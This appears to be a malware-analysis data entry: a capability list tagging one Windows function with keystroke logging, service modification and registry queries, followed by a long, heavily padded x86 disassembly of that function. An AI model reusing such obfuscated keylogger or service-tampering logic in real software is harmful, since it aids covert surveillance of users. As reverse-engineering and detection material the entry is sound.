Function at 0x10033e5b
Capabilities:
Check os version
Compare security identifiers
Create process on windows
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get graphical window text
Get session user name
Log keystrokes
Log keystrokes via polling
Modify service
Parse pe header
Query or enumerate registry key
Resume thread

Disassembly:
mov eax, 0x10088115
call fcn.10086838
mov eax, 0x1334
call fcn.100821b0
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor eax, eax
push esi
push edi
push 0xfffffffffffffff6
pop edi
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x30], eax
push 1
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0x54], ecx
pop esi
cmp dword [ebp - 0x30], edi
jne 0x10033eb7
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10033ea9
push esi
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x30]
push 0
pop eax
cmp dword [ebp - 0x30], edi
je 0x10033e95
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x30], eax
jmp 0x10033ee0
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10033ed7
push esi
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x30]
push 0
pop eax
cmp dword [ebp - 0x30], edi
je 0x10033ec3
push 4
pop edi
mov dword [ebp - 0x34], esi
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 0x1c], 0x94643cdf
push edi
call fcn.1001855e
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], 0x7f59ec13
mov dword [ebp - 0x20], eax
jmp 0x10033f26
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3b0]
call fcn.100185ee
mov dword [eax], 0xfffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10033f0f
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
xor eax, eax
push 3
mov dword [ebp - 0x34], eax
pop edi
jmp 0x1003400e
mov dword [ebp - 0x48], 0x7071658a
mov dword [ebp - 0x44], 0x42c3b03c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x1003400b
mov dword [ebp - 0x30], 0x51da622a
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x10033f95
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10033f90
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3b0]
call fcn.100185ee
cmp dword [eax], 0
jne 0x10033f8e
dec dword [ebp - 0x20]
jns 0x10033f76
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10033f67
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3b0]
call fcn.100185ee
cmp dword [eax], 0
jne 0x10033fd1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3b0]
call fcn.100185ee
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10033fd1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x1c]
call fcn.100185ee
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x3b0]
push dword [ebp - 0x34]
call fcn.100185ee
push 0
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], edi
jle 0x10033f58
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x10033f3e
or eax, 0xffffffff
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 4], eax
call fcn.100185e9
or eax, 0xffffffff
lea ecx, [ebp - 0x8ac]
push 2
mov dword [ebp - 0x1c], eax
pop eax
push eax
call fcn.1001855e
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x40], 0xd9e2a8d3
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], 0xc383c67e
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x40], 0x710dd013
mov dword [ebp - 0x20], eax
push 2
pop eax
cmp dword [ebp - 0x20], eax
jge 0x10034094
push eax
pop esi
push dword [ebp - 0x20]
lea ecx, [ebp - 0x8ac]
call fcn.100185ee
mov dword [eax], 0xae77ab39
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10034075
xor esi, esi
inc esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, esi
setl cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
mov byte [ebp - 0x25], al
je 0x100340bc
cmp byte [ebp - 0x25], al
je 0x100340e0
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x100340de
cmp byte [ebp - 0x25], al
je 0x100340e0
push 0x826
push eax
push eax
push 0x1367
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
xor eax, eax
mov dword [ebp - 0x1c], esi
push 7
pop ecx
cmp dword [ebp - 0x1c], eax
jl 0x1003413d
jmp 0x100340ef
xor eax, eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], eax
jmp 0x10034108
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc4c], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100340f7
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8ac]
call fcn.100185ee
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8ac]
mov esi, eax
call fcn.100185ee
mov ecx, dword [esi]
push 1
pop esi
mov dword [eax], ecx
dec dword [ebp - 0x44]
dec dword [ebp - 0x1c]
push 7
pop ecx
jns 0x100340ed
or eax, 0xffffffff
lea ecx, [ebp - 0x8ac]
mov dword [ebp - 4], eax
call fcn.100185e9
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff6
jne 0x10034212
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003417a
push esi
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
xor eax, eax
mov dword [ebp - 0x20], 0x60477862
mov dword [ebp - 0x40], 0x8974b66
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xa065c2dd
mov dword [ebp - 0x40], 0x5c0de450
mov dword [ebp - 0x40], 0xf4df
mov dword [ebp - 0x44], 0xd978
mov dword [ebp - 0x40], 0xbe26b5cf
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100341ce
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd9c], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100341b6
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x20], ecx
jmp 0x100341f6
mov dword [ebp - 0x2c], esi
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100341ed
push esi
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], 0xfffffff2
jge 0x100341d6
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff6
push 0
pop eax
je 0x10034164
mov dword [ebp - 0x40], 0x648261f9
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034230
push 0x1a1
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034258
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x129c
push 0x81f
push 0x15be
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff8
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0xa3062a4b
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034288
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
push 7
pop eax
mov dword [ebp - 0x44], eax
imul ecx, dword [ebp - 0x20], 0x67f6
mov eax, dword [ebp - 0x44]
push 4
cmp eax, ecx
lea ecx, [ebp - 0x494]
pop eax
setne dl
sub edx, dword [ebp - 0x20]
neg edx
push eax
sbb edx, edx
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x3c], 0xfffffff7
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x1c], 0x94643cdf
call fcn.1001855e
push 2
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x24], 0x7f59ec13
mov dword [ebp - 0x20], eax
push 4
pop eax
cmp dword [ebp - 0x20], eax
jge 0x1003430b
push eax
pop esi
push dword [ebp - 0x20]
lea ecx, [ebp - 0x494]
call fcn.100185ee
mov dword [eax], 0xfffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100342ec
xor esi, esi
inc esi
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x100343eb
mov dword [ebp - 0x48], 0x7071658a
mov dword [ebp - 0x44], 0x42c3b03c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x100343e8
mov dword [ebp - 0x30], 0x51da622a
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x10034372
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x1003436d
push dword [ebp - 0x20]
lea ecx, [ebp - 0x494]
call fcn.100185ee
cmp dword [eax], 0
jne 0x1003436b
dec dword [ebp - 0x20]
jns 0x10034353
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10034344
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x494]
call fcn.100185ee
cmp dword [eax], 0
jne 0x100343ae
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x494]
call fcn.100185ee
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x100343ae
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x494]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x1c]
call fcn.100185ee
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x494]
push dword [ebp - 0x34]
call fcn.100185ee
push 0
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], edi
jle 0x10034335
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x1003431b
or eax, 0xffffffff
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], eax
call fcn.100185e9
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff6
jne 0x10034a4d
or eax, 0xffffffff
lea ecx, [ebp - 0x8c4]
push 2
mov dword [ebp - 0x1c], eax
pop eax
push eax
call fcn.1001855e
mov dword [ebp - 4], edi
mov dword [ebp - 0x40], 0xd9e2a8d3
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], esi
push 5
pop eax
mov dword [ebp - 0x40], 0xc383c67e
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x40], 0x710dd013
mov dword [ebp - 0x20], eax
push 2
pop eax
cmp dword [ebp - 0x20], eax
jge 0x1003447f
push eax
pop esi
push dword [ebp - 0x20]
lea ecx, [ebp - 0x8c4]
call fcn.100185ee
mov dword [eax], 0xae77ab39
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10034460
xor esi, esi
inc esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, esi
setl cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
mov byte [ebp - 0x25], al
je 0x100344a7
cmp byte [ebp - 0x25], al
je 0x100344cb
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x100344c9
cmp byte [ebp - 0x25], al
je 0x100344cb
push 0x826
push eax
push eax
push 0x1367
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x10034525
jmp 0x100344d7
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], eax
jmp 0x100344f3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc5c], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100344e2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8c4]
call fcn.100185ee
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8c4]
mov esi, eax
call fcn.100185ee
mov ecx, dword [esi]
push 1
pop esi
mov dword [eax], ecx
dec dword [ebp - 0x44]
dec dword [ebp - 0x1c]
jns 0x100344d5
or eax, 0xffffffff
lea ecx, [ebp - 0x8c4]
mov dword [ebp - 4], eax
call fcn.100185e9
mov dword [ebp - 0x1c], esi
mov eax, 0xffff
mov dword [ebp - 0x30], 0xaa05d762
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x24], 0x5fba
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x30385d06
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0x1defcecb
mov dword [ebp - 0x40], 0x4a7c7698
cmp dword [ebp - 0x1c], eax
jne 0x100345ab
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setne dl
cmp edx, dword [ebp - 0x24]
jg 0x100345ab
xor eax, eax
mov ecx, eax
jmp 0x100345ad
mov ecx, esi
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov ecx, esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
push 9
pop eax
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100345d9
mov ecx, esi
cmp dword [ebp - 0x24], eax
jne 0x100345db
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul eax, ecx
xor ecx, ecx
push 4
dec eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0xf11caf1e
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 0x25], al
pop eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x1c], 0x94643cdf
push eax
call fcn.1001855e
push 4
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
mov dword [ebp - 0x24], 0x7f59ec13
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1003465f
push ecx
pop esi
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3ec]
call fcn.100185ee
mov dword [eax], 0xfffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10034640
xor esi, esi
inc esi
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1003473f
mov dword [ebp - 0x48], 0x7071658a
mov dword [ebp - 0x44], 0x42c3b03c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x1003473c
mov dword [ebp - 0x30], 0x51da622a
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x100346c6
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x100346c1
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3ec]
call fcn.100185ee
cmp dword [eax], 0
jne 0x100346bf
dec dword [ebp - 0x20]
jns 0x100346a7
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10034698
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3ec]
call fcn.100185ee
cmp dword [eax], 0
jne 0x10034702
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3ec]
call fcn.100185ee
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10034702
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x3ec]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x1c]
call fcn.100185ee
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x3ec]
push dword [ebp - 0x34]
call fcn.100185ee
push 0
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], edi
jle 0x10034689
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x1003466f
or eax, 0xffffffff
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 4], eax
call fcn.100185e9
cmp byte [ebp - 0x25], 0
je 0x10034997
movdqa xmm0, xmmword [0x10008050]
lea eax, [ebp - 0xf80]
push eax
lea eax, [ebp - 0xf90]
push eax
lea ecx, [ebp - 0x1280]
movdqu xmmword [ebp - 0xf90], xmm0
call fcn.100185fd
lea ecx, [ebp - 0x169]
mov esi, eax
call fcn.100091f3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x50c]
push dword [esi]
call fcn.100185bf
push 5
pop eax
mov dword [ebp - 4], eax
xor esi, esi
xor eax, eax
mov dword [ebp - 0x1c], 0x29000d4e
mov dword [ebp - 0x14], eax
inc esi
cmp dword [ebp - 0x14], esi
jge 0x100347d8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x90], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100347c4
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100347f8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc84], 0xff7503ae
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100347e0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x10034979
jmp 0x10034808
xor eax, eax
push 7
mov dword [ebp - 0x44], 6
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], 0x325a
mov dword [ebp - 0x20], eax
jmp 0x10034832
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x348], 0x65cd3860
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10034821
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50c]
call fcn.100185ee
cmp dword [eax], 0
jne 0x10034855
inc dword [ebp - 0x44]
jne 0x10034855
xor eax, eax
mov edi, eax
jmp 0x10034857
mov edi, esi
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50c]
call fcn.100185ee
cmp dword [eax], 0
je 0x100348b5
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x50c]
imul eax, dword [ebp - 0x90]
push esi
cmp eax, 0xfffffffc
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
call fcn.100185ee
mov ecx, dword [ebp - 0x44]
imul ecx, dword [eax]
xor eax, eax
push eax
imul esi, ecx, 0x2c7a
lea ecx, [ebp - 0x50c]
call fcn.100185ee
cmp esi, dword [eax]
jne 0x100348b2
xor esi, esi
inc esi
mov ecx, esi
jmp 0x100348b9
xor esi, esi
inc esi
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x90]
imul eax, ecx
or ecx, 0xffffffff
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb edx, edx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x90]
sub edx, 0x5b481d3e
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor ebx, ebx
cmp ecx, 0x5411
lea ecx, [ebp - 0x50c]
setl bl
mov dword [ebp - 0x90], ebx
push dword [ebp - 0x1c]
call fcn.100185ee
sub edi, ebx
sub edi, dword [ebp - 0x348]
mov ecx, dword [ebp - 0xc84]
neg edi
sbb edi, edi
xor edx, edx
inc edi
cmp edi, ecx
setg dl
cmp edx, dword [eax]
je 0x1003492b
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp - 0xc84]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
mov byte [ebp - 0x25], al
je 0x100349f5
cmp byte [ebp - 0x25], al
je 0x10034964
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x129c
push 0x81f
push 0x15be
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
inc dword [ebp - 0x1c]
push 3
pop edi
cmp dword [ebp - 0x1c], edi
jle 0x10034806
or eax, 0xffffffff
lea ecx, [ebp - 0x50c]
mov dword [ebp - 4], eax
call fcn.100185e9
push esi
xor eax, eax
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov dword [ebp - 0x20], 0x60477862
xor eax, eax
mov dword [ebp - 0x40], 0x8974b66
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xa065c2dd
mov dword [ebp - 0x40], 0x5c0de450
mov dword [ebp - 0x40], 0xf4df
mov dword [ebp - 0x44], 0xd978
mov dword [ebp - 0x40], 0xbe26b5cf
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100349ed
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xe08], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100349d5
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x20], ecx
jmp 0x10034a32
cmp byte [ebp - 0x25], al
je 0x10034964
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
jmp 0x1003496a
mov dword [ebp - 0x2c], esi
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034a29
push esi
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], 0xfffffff2
jge 0x10034a12
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff6
je 0x10034414
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10034a6c
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10034a58
xor eax, eax
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
mov dword [ebp - 0x8c], 0xfffffff8
jmp 0x10034a9c
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034a96
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0xfffffff9
jg 0x10034a7e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10034ac4
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x98], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10034ab0
xor eax, eax
mov dword [ebp - 0x98], 0xfffffff8
jmp 0x10034aee
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034ae8
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 0xfffffff9
jg 0x10034ad0
mov dword [ebp - 0x3c], esi
lea ecx, [ebp - 0x714]
push 3
call fcn.1001855e
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x20], 0x9ea4087b
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x10034b43
push dword [ebp - 0x20]
lea ecx, [ebp - 0x714]
call fcn.100185ee
push 3
pop ecx
mov dword [eax], 0xd3cd3624
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10034b22
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xa
jge 0x10034cb2
mov edx, 0xffff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x690], edx
mov dword [ebp - 0x68c], edx
mov dword [ebp - 0x688], edx
mov dword [ebp - 0x684], edx
cmp dword [ebp - 0x1c], eax
jne 0x10034cb2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x10034ca5
mov dword [ebp - 0x14], 0xcaad901
xor edx, edx
mov ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
sub edx, 0x81d534a2
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x3c]
jl 0x10034bb9
mov eax, dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x714]
push eax
call fcn.100185ee
and dword [eax], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x688], esi
jne 0x10034bd8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
add eax, 0x4644688d
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x688]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
imul eax, edx
sub eax, 0x227283a3
je 0x10034c2c
xor eax, eax
lea ecx, [ebp - 0x714]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x10034c2c
mov eax, esi
jmp 0x10034c2e
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10034c8d
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x10034c8a
mov dword [ebp - 0x34], 0xb46f9f1
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ecx
jg 0x10034c85
push 4
pop edx
mov dword [ebp - 0x30], 0xcf05746a
mov dword [ebp - 0x30], eax
jmp 0x10034c72
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x690], 0xfff8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x10034c61
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], ecx
jle 0x10034c55
dec dword [ebp - 0x20]
jns 0x10034c43
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x10034c3b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x10034b85
xor eax, eax
mov edx, 0xffff
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xa
jl 0x10034b55
or eax, 0xffffffff
lea ecx, [ebp - 0x714]
mov dword [ebp - 4], eax
call fcn.100185e9
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10034ce4
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xa0], ecx
inc dword [ebp - 0x20]
